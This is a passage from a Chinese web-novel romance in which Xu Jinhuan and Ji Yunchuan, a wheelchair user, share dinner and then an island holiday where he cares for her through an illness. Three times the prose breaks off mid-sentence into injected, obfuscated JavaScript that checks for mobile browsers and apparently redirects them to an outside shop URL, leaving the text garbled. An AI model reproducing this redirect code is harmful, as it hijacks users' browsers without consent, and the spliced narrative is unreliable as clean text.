他忽然半认真半开玩笑地开口:“我发现你这人吧,啥都好,就是好奇心一点也不旺盛。你看,你对我周围的一切都没什么兴趣。也啥都不问,我想跟你说点什么都得到处找由头。” 许尽欢抬眼看他。 她的眼睛是很典型的桃花眼,还有眼尾沟。天生自带眼影,眼神像带了钩子,让人忍不住盯着一直看。而五官组合在一起却清冷出尘,看上去似乎游离于尘世喧嚣那般淡漠。 她想了半秒,声音柔和,像讲睡前故事那般:“你想告诉我的事情,总会告诉我。如果你不想说,那我问也问不出来,就算问出来了,可能也不是真心话。” 她停了一瞬,又补了一句:“但是你可以想说什么就对我说什么,不用找由头,我会认真听的。” 纪允川愣了一下,热气把他的脸烘得微红,耳尖以肉眼可见的速度涨红起来。他甚至感受到了自己呼吸的灼热,下意识慌乱无措地找借口:“哎呀这包厢空调遥控器呢,温度是不是有点高了,热死了热死了。这锅一看就开了,温度突然这么高……” 许尽欢被逗笑,笑意从她眼底慢慢扩散出来。 她把毛肚放回盘里,给他从番茄锅里夹了一块豆皮。服务生端过来一盘虾滑,手一抖,摆盘的萝卜花掉近锅里,汤锅炸起水花,波纹在红白交界处扩散。她抽了张餐巾纸反手按住锅圈,另一只手搭在桌边,挡住纪允川身前,连看都没看一眼,就把危险轻轻挡过去了。 服务生连连道歉,许尽欢看纪允川没被烫到淡声说:“没关系。” “谢谢。”等到服务生离开包间,纪允川像看英雄似的用崇拜的目光看着许尽欢的超人行为。 “吃饭吧。”她说。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568883|186510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 火锅是很热闹的餐食。汤沸,肉下,汤面起小泡,筷子掠过碗沿,口腔接受油脂和辣味的安抚。 纪允川说一点工作室的事,说自己最近卡在读盘优化和UI替换,美术那边影子总和新地图不对,不过好在天天开会总算有点效果,这周就可以正式内测了。许尽欢听,偶尔评论一两句,倒也不觉厌烦。 门又被敲了两下。齐斯年探头递进来两份甜品,算作是先前“误闯”的补偿。纪允川飞快接过:“谢谢谢谢,再见拜拜。” 门合上,他长吐了一口气,低头看甜品,干脆递给了她。 “甜的,吃吗?” “不太吃甜。”她摇头,又怕他尴尬,补了一句,“你吃吧。” “那我尝尝吧。”他说得干脆,“我还挺喜欢吃甜的。” 吃到一半,纪允川背后忽然一紧,像一只提线木偶被操纵者拽了一下,呼吸顿了顿。他把筷子按在碗沿,平静了两秒。许尽欢看见,没做声。 “大户。”她忽然说。 “嗯?”他没反应过来。 “你点那么多。”她垂眼看菜单,干巴巴评语,“剩了很多菜” “你每次都只吃几口,我怕你吃不饱。”他理直气壮。然后又补:“怕我吃不饱也对。” 她笑,眼睛弯了一下。 结账的时候,发现收银说隔壁的齐先生已经帮忙结过账了。许尽欢忽然乐了,侧身把她的包拉链合上:“我这算不算借你的光蹭了顿饭。” “那不算,应该是我借你的光。”他笑得露出一排白牙,像某只开心的大狗摇了摇尾巴,“他欠我好多好多顿饭,这还是他第一次请我吃饭。” 门口有一小截门槛。她先一步过去,手搭在他轮椅后把上,押着他的速度平稳下坡:“慢点。” 夜风从不远处的门口吹过来,带着一点香水的气味。 许尽欢默默感慨,不愧是专营奢侈品的商场。 他们一起出了商场。 “今天很开心。”纪允川抬头看她,坐在轮椅里的仰视角度把他下垂的眼尾变得可爱。 “嗯。” “那以后我就真的不找由头了。”他突然说。他把手按在轮圈上,慢慢停下,像是认真地决定对自己诚实,“我想说,就直接跟你说。” 许尽欢转头看了他两秒。她抬手,替他把衬衫领口抚平了一点,布料服帖下来,指腹擦过他下意识抬起手的腕骨。 “好。”她说。 地下车库的自动感应灯亮了下。星河湾亮起了路灯,两人乘电梯回到家里。 “晚安。”她说。 “做个好梦。”他答。 二十楼,纪允川把手按在轮圈上,缓慢往家里滑。玄关的感应灯亮起来,崽崽从窝里弹射出来,看看他,又用鼻子拱他的膝盖。 “别一激动撞墙上了。”他伸手点了点小狗鼻尖,语气温柔。 终于完成了两人初次见面就约定好的火锅,纪允川偶尔思索着自己该找点什么借口能够再和许尽欢约个会之类的,但工作接踵而至。 纪允川工作室的群里吵翻天,他在一片优化地图加载的的吼叫中把任务拆了再拆; 许尽欢打算过两天给自己放个长假,于是计划在草稿箱里囤了十几条视频,每天都在做饭、拍摄、剪辑、套滤镜。 两人在微信聊天的频率不密不疏,天气预报、今日菜单、崽崽在门口趴着等饭的照片、抱抱在猫爬架的玻璃碗里睡成一个甜甜圈的视频。 晚上,许尽欢把电视声音调高,只留落地灯。 站在窗边的时候,她忽然想到了答案—— 她是喜欢纪允川的。 许尽欢低头,看着抱抱,那颗棉花糖在灯光里伸了一个不安分的懒腰。她摸了摸它的头。 她笑了一下,拿起手机,给他的聊天框里发了一句:【下次吃什么?】 对面回得很快:【你说。】 她想了两秒:【清淡一点。】 【日料怎么样?】那边加了一个小小的笑脸。 【好。】 23. 第 23 章 海风在玻璃幕墙外面打着旋,机场大厅的空调一贯地冷。安检口的电子提示板刷下一行行航班号,蓝光映在地砖上,像一层薄水。 五天前,纪允川工作室的工作获得了阶段性的胜利,也阶段性地告一段落。 许尽欢正和纪允川在一家人均消费不低的omakase吃豆腐宴的时候,纪允川斟酌着语气开口:“我们工作室打算趁着夏天的尾巴去海岛度假团建,你有兴趣吗?” 许尽欢有些疑惑地看他,纪允川连忙补充:“有水屋的那种,你不会看到我同事他们。如果你也有兴趣的话,我们可以提前几天过去,跟他们错开时间玩,我知道你不太喜欢热闹......” “行啊,”许尽欢吃下一口绢豆腐,入口即化,“意思是咱俩先过去呗?我需要准备什么?” “完全不需要,你只需要带你的行李就好。然后机票酒店都我来订,你回去把你护照发我一下。”纪允川的表情有点像植物大战僵尸的向日葵。 许尽欢沉默地想,如此喜怒形于色的人也是实在难找了。 机场的广播响起,似乎是有个航班延误了。 “你们团建都是这种规格的吗?”许尽欢把手机揣回兜里,习惯性地压低了帽檐。 她是真的不在意,确认了自己喜欢纪允川之后,她觉得去哪儿玩无所谓,直到到了机场去了机票才发现地点是很热门的海岛。半小时前纪允川发给自己的水屋资料也价格不菲,她没怎么详细了解纪允川工作室的规模。这种规格的团建属实是不多。 “对。”纪允川把轮椅停在她侧边,笑意藏不住,“我们工作室冲个喜。游戏上线,小伙伴们说要见见太阳。” “见见太阳?”她挑眉。 “我就是太阳。”他一本正经地摊开双手,坐在轮椅上也手长腿长,此刻看起来有点像商场门口迎宾的气球人,“但我容易晒伤,所以谨慎出动。因此挑选在夏末这个温度和阳光都很适宜的时间。” 她被逗得轻轻笑了一声,笑意一闪即收,停在眼尾。 “他们大概要晚几天?”她环顾四周,出发口里人潮不断,没看见一群吵吵嚷嚷的年轻人。 纪允川掀了掀下巴:“晚三天。这三天我们可以享受一下安静的时光,等他们来了我就没办法清净了。” 许尽欢“哦”了一声,没多问,但心底不免腹诽,居然有一天这人会嫌弃别人吵闹。 她系紧背包带,手里提着一个轻便的登机箱。 从安检开始,她算是正式见识了纪允川的太阳属性。 他这种程度的残疾需要预先申请特殊旅客服务,登机口、安检,工作人员几乎一路护送。每经过一道手续,他都很自然地抬眼、点头,“谢谢”“麻烦你了”几句话挂在嘴边,语气轻快,没有一次敷衍。 通过安检,不受控的双腿掉下不合身的轮椅踏板,干净如新的鞋底在地面上摩擦出一点清脆的声响。 他现在坐着的轮椅是许尽欢常识里所常见的轮椅,很高的靠背,从座位到靠背都是布面的,有两个很高的扶手,轮椅的靠背也有供人推动的手柄。 许尽欢靠墙,目光淡淡落在他手上。推圈收放稳,手背的青筋浅浅浮起。 “你这么熟练。”她说。 “实战经验还算丰富,我刚受伤那会儿在医院被送去康复就是坐这种轮椅的。”他抿嘴笑,“不过这机场的坡做得不错,比咱们小区好。” “确实。”她点头。 登机口前的区域,几位地勤工作人员推来了窄窄的过道椅。纪允川轻轻一笑,收了轮椅刹车,动作利落地转移到过道椅上,腰背发力,手掌撑住,但因为这种普通的轮椅有两个很高的扶手,在半路卡了一下,纪允川的胯骨重重地撞在扶手上发出一声闷响,他本人毫无感觉,但工作人员惊慌失措。 “纪先生,您没事儿吧?”工作人员听到闷响吓了一跳,连忙俯身问。 “没事没事,是我自己没注意。”纪允川摆摆手。 许尽欢没有伸手帮忙,只往旁边退了半步,把他的轮椅折叠扣好,学着上次他教她的动作,按开快拆扣,拆下大轮收好递给工作人员帮忙托运。她低头,发丝垂在颊边。纪允川侧过脸看她,眼里软软的。 “你是天才。”他小声说。 “一般天才。”她更正,认真地把车轴保护套扣上。 走到舱门,空乘笑容专业,连声“欢迎”。纪允川一路“谢谢”,像在发光。许尽欢跟在后面,忽然有点想笑,他确实像太阳,明晃晃的,把别人不好意思的地方都照得一览无余了。 许尽欢先落座,纪允川的过道椅停在头等舱靠过道的座位旁,被空乘半扶半抱着落座。 飞机起飞。 她听到纪允川长长地舒了口气。她把椅背放了半格,摘了帽子,靠着小枕头,侧过脸看窗外。云团在机翼下挤成奶白色的绒毯,阳光在上面跳,像撒了一层糖粉。 纪允川低声问:“想吃糖吗?” “等会。”她嗓子有点干,还是摇头。 他“哦”了一声。飞机稳定后,他觉得够一会了,把手边的包拉过来,摸出一个小布袋:“薄荷糖。” 她看他一眼,接了一颗,含在舌尖,凉味一点一点化开。她分明知道自己很少在出行这件事上露出什么软态,可她此刻在这密闭的小小空间里被托起来,又被这颗薄荷糖轻描淡写地安抚,忽然也就懒得硬撑。她重新带上帽子,把帽檐往下压了几厘米,眯起眼。 他看她的眼睫在光里投出一片薄影,没忍住把音量压低:“困就睡一会儿。” “嗯。” 她闭眼,没睡过去。脑子里乱糟糟,是那天他在医院笑着说“我没事儿”时的语气,是他被警察按住的恐慌,是在小狗乐园里他扶住她有力的臂弯,是她夜里在阳台上看着城市发呆时下意识捏紧的烟盒。 许尽欢想,她这样的人,不适合大起大落的关系。 她坐在头等舱还算舒适的座椅上,才迟钝地感到有点害怕,把事情搞砸。 大概因为纪允川是个好人。 “实在不行,留几张好看的底片也是好的。”她在心里劝说自己,顺便笑自己矫情。哪怕没有以后,也留一点片段瞬间,回味时能笑一笑。 落地。 岛上的湿热从舱门缝里涌进来,海盐味夹着植物的清香。海岛的温度比北城要高一些,机场不大,天花板上吊着小小的风扇,呼啦啦地转。纪允川先被推进休息区,她去拿行李。等到她走过去,他已经在和工作人员确认无障碍车的位置,还联系了酒店的私人管家,“麻烦你们了”说了两次,眼睛还是亮亮的。 私人管家接过箱子放进后备箱,许尽欢回头看他:“走吧。” “好。”他笑,手搭在推圈上,配合工作人员挪到车里。 从机场到酒店要四十分钟。路两侧的树叶油亮,阳光从枝叶间漏下来,一道一道打在挡风玻璃上。纪允川坐在后排靠窗的位置,用手机拍了两段视频,没发,存进一个新建的相册。 酒店大堂气派,海岛风格。 前台的工作人员递上两张房卡:“两间海景水屋套房,是岛上唯一相连的两间水屋,先生女士请这边走。无障碍房已按您的要求准备,洗手间有扶手,淋浴椅也都齐全。” “谢谢。”纪允川笑着接过,习惯性地重复,“麻烦了。” 许尽欢看着他。她忽然觉得有点难受。 切实地围观着纪允川的困境,好像并不如自己想象的那样轻松自然。 这一路上,他从不把“谢谢”省掉,不以为麻烦难以启齿,也不装作理所应当。这样的人……好像永远把自己放在别人不会难做的位置上。越是这样,她越挺敬佩的。 “这三天,有什么规划吗?你会做旅行计划吗?”走上链接水屋的木质的栈桥,她才想起来问一开始没问完的问题。 “没有,随你心情。你睡醒了就看看海,饿了就去吃点饭。度假嘛,惬意点才好。”纪允川把房卡递给她,“今天呢,咱们就先休息,我看你脸色不太好。” 她摇头,嘴上还是那句:“我没事。” “是。你没事。”他不拆穿,笑得像许尽欢说什么他都信。 房间很大。 每间水屋都有独立的两间卧室和一个客厅,客厅和卧室分开,水屋架在海面上。纪允川的水屋还真是和她的挨着,远看大概像两朵长在一起的蘑菇。落地窗外是一整片海。海浪从远处拍过来,雪白的边缘折着泡沫,退回去又卷来,一次一次,把时间都拉长变慢。 刚把行李放下,许尽欢胸口那点不对劲忽然翻上来。她扶着洗手台,干呕了一下,胃里酸水涌上来,眼眶被辣得发红。她把冷水开到最大,捧了一把水在脸上,额头和眼皮才舒服一点。 手机震了一下。是纪允川。 【先把行李安置好,一会儿咱们去吃饭?休息前把肚子填饱好不好?】 她回了三个字:【不太行。】 几秒之后,门铃响。她去开门,隔着一道门,纪允川的声音放低:“我在门口。” 她拉开门,脸色苍白了一圈。纪允川皱眉,手却没有伸进来,他只是把手里的第二张房卡递过去:“我去前台多拿了一张。晚上你要是不舒服就给我打电话,如果我没接电话,就刷卡进来叫我,我就在隔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574869|186510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壁。” “嗯。”她握住房卡,声音有点哑,“谢谢。我打算睡一下。” “我待会儿去大堂问一下有没有药,你有事一定要给我发消息。”他停了停,像是怕打搅她,“好好睡。” 许尽欢点头,她关门前忽然看了他一眼。 男人汗微微湿了鬓角,可能是海岛的湿热,他的眼尾却还是清亮的,眼神里写满了担忧。 她没再说话,门合上,挡住纪允川的脸。 她睡过去了。 起初是浅眠,她隐约能感受到胃里那团火在往回烧,嗓子眼像被砂纸擦过,干得厉害。然后是梦,从缝隙里爬进来。 高中走廊里堆着别人嘲弄恶意的目光,黏在她的身上,课间的噪声像潮水,路过的地方总会有人忽然屏息,等她经过后爆发出听不清具体内容的窃窃私语; 操场上纪允川跳起来扣篮,球进网时带着清脆的“刷”;忽然画面一转,他坐在轮椅里,推圈上搭着那只熟悉的手,阳光从他肩头压下来,头发在风里有一点乱。 她醒又睡,睡又醒。再醒过来的时候,天已经沉了下去,窗外海面上的光像碎银被风掀了一层。 嗓子疼得像吞了玻璃,肚子空空。她翻身去摸手机,屏幕亮起,八点零二分。她坐起来的瞬间,看见床侧不远处的沙发上坐着个人,一激灵,差点把床头灯给掀了。 那人也吓了一下,立刻举起手,声音放很轻:“别怕,是我。” 她定睛一看,才放下心跳:“你怎么在这?” “你说不太行。”纪允川耸肩,“我怕你一个人不舒服。你睡得挺实在的,我不敢走太远。我就在这坐着,实在困了就给自己点了杯咖啡。” 他说得轻描淡写。许尽欢眼神落到他脚边,轮椅停在沙发前,那个有手掌宽厚度的坐垫被摆放着他的两只脚。 哦,这大概就是自己查资料的时候看到过的减压?似乎是一直垂放着没有知觉的腿脚会肿胀。 沙发边的茶几上放着他电脑,屏幕黑着,耳机绕成一小团搁在边上。垃圾桶里干净,只有一只空纸杯,杯壁凝着浅浅一圈咖啡色。 “你不用守着我。”许尽欢的嗓音哑得不行,像是从喉咙里刮出来,话一出口连自己都嫌难听。 “那不行。”纪允川笑,用手把自己的双腿从轮椅坐垫上拎下来随手摆在地板上,“我不放心。” 她“嗯”了一声,没再争。胃里酸,嗓子疼,争都没有力气。她看他一眼,眼尾有一点红,看上去也累。她下意识地抿唇,幽幽地说:“当时还不如定一间屋子,反正有两个卧室。免得你跑来跑去。” 纪允川愣了愣,没想到她会这么说,瞬间领会到了许尽欢似乎不抗拒和自己变得亲密一点后,抿着嘴笑了一下,把自己转移到轮椅上,凑到许尽欢的床边:“那不合适,你是女孩。” 她被逗笑,又咳了一下,苦得全部从气管里冒出来。纪允川立刻伸手去按床头的呼叫钮,想了想收回,改去拿一只温水保温杯过来:“先小口润润嗓子。” “我不想喝。”许尽欢皱眉,眼神诚实,往上拉了拉被子,像一只受了伤的动物,直觉敏感地拒绝。 “知道你不想。”他把杯子搁在床头,“但我点了粥。等会儿送上来,你看一眼,如果闻着实在不舒服就算了。或者你说你想吃点什么?我打电话问问厨房能不能做,好不好?” 许尽欢“嗯”了一声,这是第一次生病的时候有人陪着她,她有点不自在。她坐在床边,手指按了按太阳穴,头有点沉。打开手机看时间,又看了一眼他:“你吃了吗?” “吃过了。”纪允川回答得很快。 许尽欢看他半秒,没拆穿:“你回去休息吧,我已经好了。” “真的吗?”他歪头,“我不信。” 她被逗笑,嘴角勾起了一点:“别闹。” 纪允川笑意一收,认真许多:“那我再坐十分钟。十分钟以后你要是没吐,我就乖乖滚回去了。” 她没反对。许尽欢靠着床头,眼睛半闭。灯光暖,海面拍岸的声音被厚重的窗帘挡住,像隔了两层棉。纪允川把电脑打开,插上耳机,画面跳出来,他把音量拉到最低,侧坐着,余光从屏幕边缘掠过去,落在许尽欢的脸上。 她的睫毛在灯下落下一道细细的影子,唇色被病着的白皮折得浅了一点,睡着的时候,看起来比白天更安静。 过了不到十分钟,门铃响。服务员站在门口,单手举着托盘:“您点的鸡丝粥。” 纪允川把门开小半,接过来,放在腿上。轻声道谢。他端进来,把餐具拆好,朝她使了个眼色:“我放在床边你看一眼。” 24. 第 24 章 粥开盖,热气一冒,鸡汤香、姜丝味儿淡淡地扑过来,不腻。许尽欢嗅了一下,胃没有即时翻浪,她犹豫两秒,拿起勺子,舀了很少的一口,抿在嘴里。热度压在舌尖,胃里那团硬邦邦的疼痛被安抚片刻。她又抿了第二口。 “神了。”纪允川早就做好了再叫厨房准备点其他食物的准备,小声感叹,“你这是被谁劝住了。” “可能是被鸡丝劝住了。”她笑了笑,声音还是哑的。 “那我再点一只鸡来好好劝劝你?让你晚上吃药前能肚子里有点食物。”纪允川顺势贫嘴。 她摇头,把勺子放下。她的食量这么几年都客观地摆在那儿,实在是吃不了几口。不过因为姜丝的缘故,她已经出了一层薄汗。许尽欢缓慢地把粥重新盖上,恹恹地拉过被子,靠在枕头上,看他:“你要不要回房间里休息一下?你守着我一下午了,腰不疼吗?” “可以。”他拉下了膝盖侧面的轮椅手闸,眉眼笑得温柔,“但我还是决定把说过的话再说一遍。” “说。” “你真不舒服,就算是半夜也可以刷卡进我房间,直接把我踹醒。”他冲她眨眨眼,“我不介意挨踹。而且我睡眠质量一般,我会醒来陪你的。” 她没忍住笑了一下,笑完咳了两声。纪允川看到许尽欢这一笑,提到嗓子眼的心脏才彻底安稳下来。他把表调了个闹钟,示意她看:“得按时把药吃了啊,睡前我再给你发消息确认一次。” “不用,我这么大年纪了不至于吃药还要你看着。” “哼。据我对你浅显的了解,你最会糊弄事儿。”他把自己水屋的房卡摆在床头柜上,“这是我的房卡。” 许尽欢乜他一眼,对他道出实情有些不满:“哦。” 他这才往外走。走到门口,他回头:“睡吧。” “嗯。” 门掩上。门外走廊的海风声被隔绝,房间又回到静默。许尽欢有些失落,她也不知道为什么会失落。整理了思绪,她释然了。人就是这样,总对幸福适应得很快。 她靠在枕头上,耳朵里剩下自己的呼吸。感觉到偌大的套房安静得有些过分,翻出电脑给电视投屏。直到房间里重新填满了熟悉的声音才重新躺回去。 她把手机揣在被子里,握着几秒,又松开。她不太会说甜言蜜语,也不太会表达“谢谢你一直守着我”的柔软小意。许尽欢有些恼自己,打开手机找评分高的偶像剧,打算学习一下,再实践试试。 纪允川回到房间,先把轮椅刹好,把自己从轮椅挪到床边。汗意从背后微微冒出来,实在是在轮椅上坐的时间太久了。他一边脱鞋子一边想,幸好刚才守着许尽欢那几个小时悄悄回房间导了两次尿,要不然就在她面前出糗了。 十一点,他给她发了个小狗疑惑的表情 【吃药啦吃药啦】 半分钟后,许尽欢回了消息 【吃了,打算睡了】。 纪允川把手机扣在胸口,床头柜上摆着备用的导尿包,他抓住床垫翻过身,掂量着时间,最后还是选择拿起,转移到轮椅上,去到卫生间。 这是他不太愿意被看见隐私部分,他还没做好把这一面露给许尽欢的准备。刚刚坐在她房里守着的时候,他两次回房再回去,来回趟得心里竟一点不烦。 上次去小狗乐园的时候,无意间聊起他的家人,许尽欢一向波澜不惊的表情露出了有些迷茫的神色。他隐约察觉到,许尽欢似乎从来没有提起过自己的家人朋友,唯一提到的就只有她的助理。 不知道为什么,他就是直觉不想要许尽欢在陌生的国度水土不服,身体不适地睡去,醒来的瞬间却还是自己一个人。 第二天一早,海岛的阳光十分灿烂。 【醒了吗?】纪允川计算着许尽欢的平均睡眠时间,在门口发了一条消息。 【醒了。】她回。 【我去给你买粥,还是你想吃点别的?】 【你别买了。】许尽欢从行李箱翻出一条裙子,慢悠悠地打字。 【不是说这里又个集市?一起去找点吃的吧。】 【遵命。】纪允川看着收到的消息感觉许尽欢应该是恢复了不少元气,回了个小狗叼拖鞋的表情。然后把手机收起来默默坐在许尽欢的水屋门口当门神。 许尽欢洗脸时看了眼镜子,眼下的青色浅了一点,嗓子还是疼。她找出一顶渔夫帽,换了选好的长裙,把头发随意挽起来。出门时,她看见门缝底下有人影,轻轻笑了一声,一边开门一边说:“你怎么这么早?” “我早睡早起,是五好青年来着。”他一本正经胡说八道,“走吧。” 因为时间还早,集市的人不多。两人走进一家早餐店,许尽欢要了一小盅白粥。纪允川点了当地的野菜炒鸡蛋和清炒蔬菜,顺手拿了两杯酸奶。他推着轮椅回到桌边,动作流畅。许尽欢坐在他对面,把粥舀一小口,缓慢地咽下,面色痛苦地像在给自己喂毒药。 “今天怎么安排?”她问。 “你休息一下吧。等到下午不热了,如果你不难受,我们就去海边走走。不行就在酒店泡温水池,我昨天闲逛的时候发现酒店的无边池有升降机器。”他把酸奶推给她,“试试,不甜。” “哦。”她接过,刺开铝膜,喝了一口,温柔地“嗯”了一声。纪允川被如此温柔的语气砸得轻飘飘,好半天才回魂。 最后飘忽的眼神落在有点泛红的眼尾,纪允川有些担心:“睡了一觉好些了吗?” “嗓子疼。”她承认,“但能喝水了。” “那可以骂我两句活动活动嗓子。”他很自觉地把脑袋伸过去,“看看多讲几句会不会快点恢复。” 她看他一眼,觉得此人实在和他的小狗如出一辙,忍俊不禁:“你又不欠骂。” “欠。”他认真地带了歉意有些低落地看向床上面色苍白的许尽欢,“是我提出来要来在这里旅行的,害得你水土不服。” 许尽欢没吭声,低头喝了半杯酸奶。她脑子里忽然想起昨晚他坐在她床边沙发上,床头的灯光把纪允川的一双小狗圆眼照的极亮。她把杯子放下,抬眼:“你不用这样。” “啊?”他没反应过来。 “你怎么总担心别人?还总是大包大揽地把不论好坏的事情全揽在自己身上?”她懒散地靠在椅背,撑着下巴,声音哑,却十分认真,因为她这种只管自己的人是真的不解,“你总这样,别人不会蹬鼻子上脸吗?还是说你遇到的都是好人,所以付出都会被回报?” 纪允川怔了一秒,笑意漫延开来:“吃亏是福嘛,给自己攒点功德。” “而且,我无法决定别人的思想和做法,但我能决定我自己啊。”他想了想,补充道。 许尽欢撇嘴:“我也算是遇到真菩萨了。你这样会显得我像个坏人。虽然我大概确实不算好人。” 纪允川大惊:“哇,你这么好的人还说自己是坏人,别人还活不活啦?” 许尽欢神色复杂地看了纪允川一眼,感觉这个人从小是在永无乡长大的。一切真善美从他身体流过,大概才能塑造出这么心理健康的人。 吃完早饭,两人散步回酒店,许尽欢本来打算去海边溜达一下,但纪允川看她单薄的身影第一次拒绝了她的提议,坚持送她回房休息。他背挺得直,手搭着推圈,半回身仰着头看她:“如果中午你还不舒服,咱们就去医院吧,实在不行咱们订明天的航班回北城。我昨晚看了,明天正好有一班回去的航班。” “我没事的。”她诚恳地回答,“刚到北城的时候我有严重的水土不服,发烧了两个星期,还上吐下泻。最后偏头痛半个右眼睛都看不见了。这次只是很轻微的症状,休息一下就好了。” 许尽欢一边轻描淡写地说一边刷开了房门,房间的电力系统重新恢复,但是电视需要重新投屏播放,她也没管身后跟着进来的人,自顾自地操作。 但纪允川是实实在在地越听越心惊,眉毛拧成一团,不知道多久才找回自己的声音:“那之后呢?......我是说,你后来怎么好的?” 房间重新出现电视剧的对白充当白噪音,显的纪允川的声音没有那么干涩。 “我烧休克了,当时有个商单,我一直没给苏苓回消息。她来我家找我之后叫了救护车。”许尽欢收拾了摊在地上的行李箱:“我去卫生间换睡衣啊。” 纪允川沉默着望向许尽欢走向卫生间的纤细背影,双手死死捏着轮椅的推圈。 按理说,他的教养断不会让他做出这种女士得躲他换衣服去卫生间,而他还安然坐在房间里的行为。但是他现在好像已经无暇顾及这么多了。 许尽欢言语间充满着无所谓,似乎只是不值一提的小事。只不过此刻被纪允川追问了几句,才愿意给他耐心的解释。 纪允川感觉自己此刻甚至有些耳鸣,等到许尽欢穿着睡衣从卫生间出来才看到纪允川极其难看的脸色。 “妈啊,你不会也水土不服吧?”许尽欢吓了一跳,看着纪允川比自己上吐下泻还难看的脸色伸手去碰他的额头:“发烧了吗?” 纪允川的声音像年久失修的齿轮,胡乱回应着:“没有。我刚刚后背有点疼。我回房间躺一下就好了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583779|186510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许尽欢发现是纪允川的老毛病也就没太在意,“嗯”了一声。 纪允川离开后,她在屋睡了一小觉,再醒的时候,阳光已经不再刺眼,海天一色,看着十分放松。 她拿起手机 【你的后背还难受吗?我打算去你说的无边泳池玩玩,你要是想找我的话来这边就行。】 本就是是胡说的背疼,在自己房间胡思乱想了好几小时的纪允川自然着急赶紧见到许尽欢:【不难受了。我马上就到。】 下午四点,风凉一点。 酒店的无边泳池前面是整片海蓝。边上修了一个坡,缓缓延长下去,木质的栏杆被抛光,握着手感很好。纪允川先下去试了试坡的防滑,他抬头,冲她摆摆手:“放心,不滑。” 她没下水,坐在边缘,人字拖的鞋跟抵着温热的地砖,手肘撑在膝盖上,眺望远处的海。 “昨晚我睡着的时候做梦了。”许尽欢忽然说。 “梦见什么?”纪允川停在她旁边,仰头看她。 “梦见你。”她说得坦荡,声音淡得像一层薄雾,“梦见你打篮球,我才想起来以前我好像看过你打篮球。” 他笑:“哼哼,我当时篮球打得很好哦。还代表咱们学校出去比赛拿了奖呢。可惜那时候你已经毕业了,我当时超帅的。” “嗯。”她侧过脸,认真看了几秒纪允川的脸,“帅。”又低头,耳朵边的发丝被风吹起,“你好像没怎么变过,一直都挺可爱的。” 他被一句“可爱”砸得彻底,整个人像一只煮熟的虾,能看见的地方都红了。 许尽欢目不斜视,依旧眺望着远处的海浪,完全不自知地戳人。 “今天不去海滩?我已经好了。”她换话题,体贴地放过他。 “明天。”他清了清嗓子,“今天你歇一歇。到时候我们找个遮阳帐带点水果,找个阴影坐着。你看书,我看能不能租到海滩轮椅去水里划水。” “好。” 傍晚,天边下了一层金色的纱。 风轻,水面的浪花规律。两人慢悠悠地沿着栈道散步回房间。许尽欢怀里抱着酒店送的水果,他推着轮椅,下意识哼了几句茉莉花。她看他,笑眼弯起来。 回到房,他停在门口:“我临时有个电话会,你睡一会儿。晚上咱们去吃好吃的,我知道一家海鲜粥。” “昨天才喝粥。”她皱眉。 “那我改主意。”他认真思考,“烤鱼?” “随便。”许尽欢的随便,是接受了提议的意思。纪允川在几个月的相处里早就听得懂许尽欢的潜台词,把两只手合拢在空中,比了个“OK”。 她躺下睡了一个短短的回笼觉。醒来时,手机屏上亮着他的消息:【集市里的烤鱼排好队了,我在店门口等你。慢慢来,不急。】 她回【好】,换了件轻薄的外套,下楼去找他。 烤鱼店在他们吃早餐的集市里,店外人声热闹,他把轮椅停在角落,冲她招手。夜色把他的眉眼压得更柔软,眼睛里倒映着亮亮的街灯。 许尽欢散漫地想,这么明亮的人,怎么会一点也不刺眼呢。 像人造柔光灯呢…… “快看看想吃什么。”他递给许尽欢一份菜单,“但不可以要香辣口味,你胃受不了。他家烧烤味不错。” “行吧。”许尽欢此刻终于变得鲜活了点,有些孩子气地撇撇嘴。 纪允川看到后被逗笑:“等下你要是觉得味道不错,等咱们走的那天再来吃一次,要香辣的。” 夜里回到房间,许尽欢把窗帘拉上,听着房间令人安心的对白,闭上眼。 她知道自己不擅长表达,她想了想,还是给对面那间房的人发了一句:【晚安。】 几乎是瞬间,对面回复:【晚安。】 没几秒,他附上一个小狗带墨镜的臭屁表情包:【做个有我帅气身影的梦。】 她看着聊天界面,笑了下。 夜很深,窗外有浪推来,又退去。两间相邻的屋子里,一个人睡得很安稳,另一个人照例确认了明天的路线图,包括实景地图去到的每一个地方有没有坡面、餐厅他能不能进得去、遮阳区能不能通过栈道抵达、海滩,最后在app里标了一个小小的心形标签在离酒店最近药房上,以防许尽欢明天又不舒服。 几乎是做好了万全的准备,纪允川的脑海中又开始循环播放着许尽欢白天那几句无所谓的,但在他听起来简直是恐怖故事的话。 完蛋。 纪允川看着天花板想。 今晚大概率会失眠了。 25. 第 25 章 